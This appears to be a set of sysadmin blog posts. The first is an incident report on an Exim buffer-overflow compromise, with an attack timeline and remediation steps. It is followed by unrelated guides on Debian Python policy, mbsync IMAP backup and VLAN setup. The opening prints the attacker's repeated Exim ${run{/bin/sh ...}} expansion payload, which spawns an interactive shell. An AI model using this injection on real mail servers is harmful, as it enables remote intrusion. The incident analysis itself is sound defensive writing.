sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${
run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /b
in/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}
} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec
/bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${r
2010-12-16 20:49:06 1PTJp4-0006Kx-E5  sistemas-srv  R=mailman_router T=mailman_transport

The attack could have been controlled at this point but missed two
things:

  1. Monitorization root authorized keys file it could not see
    the changes due it didn’t have permission to access it so the monitor
    didn’t report anything.
  2. At sometime, the SSH restriction access was removed.

These facts allowed that the attack continues hidden until Janury 9. I lose!!!

As a summary, the timing of the attack is as follows:

  • December 10, Exim vulnerability discovered an published

    NM/09 Bugzilla 787: Potential buffer overflow in string_format Patch provided by Eugene Bujak

  • December 16, a large-scale attack is performed using this vulnerability where my host is break down from trbearcom.com.au (yahoo.com) [131.103.65.196]. In this attack it’ll incorporate public key of the attacker root
  • December 26, the attacker inserts a Trojan into my host
  • January 9, the attacker inserts a keylogger and attempts to hide editing system tools. During this attack, my monitors notified the /etc/password file is changed

Finally, I knew how to the attacker had break down my server and things which I’d to fix, so I ‘d make the following actions in order to restore the security of may server:

  • Updated the system to lenny:
    1. Edit the /etc/apt/sources.list file fixing the repositories to lenny
    2. sudo aptitude update
    3. sudo aptitude install apt dpkg aptitude
    4. sudo aptitude full-upgrade

More references:

Debian package guide: Latest Python policy

From a couple of days ago, I has been recycling my knowledge about Debian-Python packages. Debian 6.0 is currently next to be released and we’ll need effort to adapt many of own packages from etch to squeeze.

I’ve been following the Debian-Python mailling list from one year ago and I know many several troubles, changes or  improvements  which was occurred during this period.

As a brief resume, many things has changed: default Python interpreter for Debian 6.0,  the backend frameworks to build packages (CDBS with python-distutils.mk, Python-central or Python-support) …

All these changes have been discussed on Debian Wiki and have been formalized as the new Python Policy. This policy is already accessible on http://www.debian.org/doc/packaging-manuals/python-policy/.

Getting mails via IMAP with mbsync

mbsync is a command line application which synchronizes mailboxes; currently Maildir and IMAP4 mailboxes are supported …

We can use it to make a copy/backup/mirror from own mail accounts following the new
steps:

  1. First, enable IMAP in your mail account.
  2. Install the dependencies for mbsync:

    sudo apt-get install libc6 libdb4.2 libssl0.9.8 isync

    (maybe, you must consider the chrisstreeter.com original post)

    Now you should have an executable mbsync in your path. So it is time to start preparing to do the initial sync.

  3. Choose a place to store your backups. For example: /mnt/sdh1/backups
  4. To access securely, we’ll need the latest SSL certificates. To get those, we can
    use the openssl client. For GMail case:

    openssl s_client -connect imap.gmail.com:993 -showcerts

    which should show two blocks of

    —–BEGIN CERTIFICATE—–

    —–END CERTIFICATE—–

    in the output. You’ll want to take each block (including the BEGIN/END CERTIFICATE lines), and put each of them into their own file. I put the first one in a file gmail.crt and the second one in the file google.crt (since the first signs imap.gmail.com which is signed by Google Internet Authority, the second certificate).

  5. The second certificate, the one for the Google Internet Authority, is signed by Equifax. So we’ll need Equifax’s certificate also. An as it turns out, Ubuntu has a copy of Equifax’s certificate already sitting in the repositories. Just run

    sudo apt-get install ca-certificates

    to get the latest CA certificates. After installing the CAs, Equifax’s CA sits at /usr/share/ca-certificates/mozilla/Equifax_Secure_CA.crt, which we’ll need in the configuration file in the next step.

  6. Now we can write the configuration file we are going to use. Here is a copy of mine:

    IMAPAccount gmail
    Host imap.gmail.com
    User http503@gmail.com
    UseIMAPS yes
    CertificateFile /mnt/sdh1/certs/mail/gmail.crt
    CertificateFile /mnt/sdh1/certs/mail/google.crt
    CertificateFile /usr/share/ca-certificates/mozilla/Equifax_Secure_CA.crt

    IMAPStore gmail-remote
    Account gmail

    MaildirStore gmail-local
    Path /mnt/sdh1/backups/mail/gmail/
    Inbox /mnt/sdh1/backups/mail/gmail/Inbox

    Channel gmail
    Master :gmail-remote:
    Slave :gmail-local:
    # Exclude everything under the internal [Gmail] folder, except the interesting folders
    # Patterns * ![Gmail]* “[Gmail]/Sent Mail” “[Gmail]/Starred” “[Gmail]/All Mail”
    Patterns *
    Create Slave
    Sync Pull
    SyncState *

    Check out the Patterns line. That is where you would include or exclude various labels. All lables are stored at the root of the hierarchy, with the special directory [Gmail] having things like ‘Sent Mail’, ‘Spam’, ‘Starred’, etc in it. I wanted to exclude all the items in the [Gmail] directory except for the ones listed. The ‘*’ at the beginning includes all other labels. You will also want to change the Path and Inbox lines to point to your mail location, as well as the first two CertificateFile lines. Also, be sure to enter your actual GMail login on the User line. Now save this file somewhere. Note: saving it as ~/.mbsyncrc will cause it to be automatically loaded when mbsync is run, meaning you don’t need to specify which config file with the -c option.

  7. Now go ahead and test it out by listing the labels in your account with the command mbsync -l -c /path/to/the/configfile.rc gmail. Running it will look like this and ask you for your password:

    [streeter@scout]:~$ mbsync -l -c ~/.mbsyncrc gmail
    Reading configuration file /home/streeter/.mbsyncrc
    Resolving imap.gmail.com… ok
    Connecting to 209.85.199.109:993… ok
    Connection is now encrypted
    Logging in…
    Password (yourusername@gmail.com@imap.gmail.com):
    Channel gmail
    lists/code
    bills
    archive/cron
    archive/classes
    archive/work
    [Gmail]/Starred
    [Gmail]/Sent Mail
    [Gmail]/All Mail
    INBOX
    @followup
    [streeter@scout]:~$

    If you see something like this, then it worked! Now just go ahead and start your

  8. Finally, try to download all the scanned labels:

    mbsync -c ~/.mbsyncrc gmail

That’s is all!.

VLAN in Debian

First, we need install vlan package to get available the 8021q kernel module:

host01# apt-cache show vlan
host01# apt-get install vlan
host01# echo 8021q >> /etc/modules
host01# modprobe 8021q

Finally, we can edit your network configuration as following:

host01# cat /etc/network/interfaces 
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface

auto lo
iface lo inet loopback

# The primary network interface
allow-hotplug eth0
iface eth0 inet dhcp

auto eth0.206
iface eth0.206 inet static
address 10.6.60.165
netmask 255.255.255.0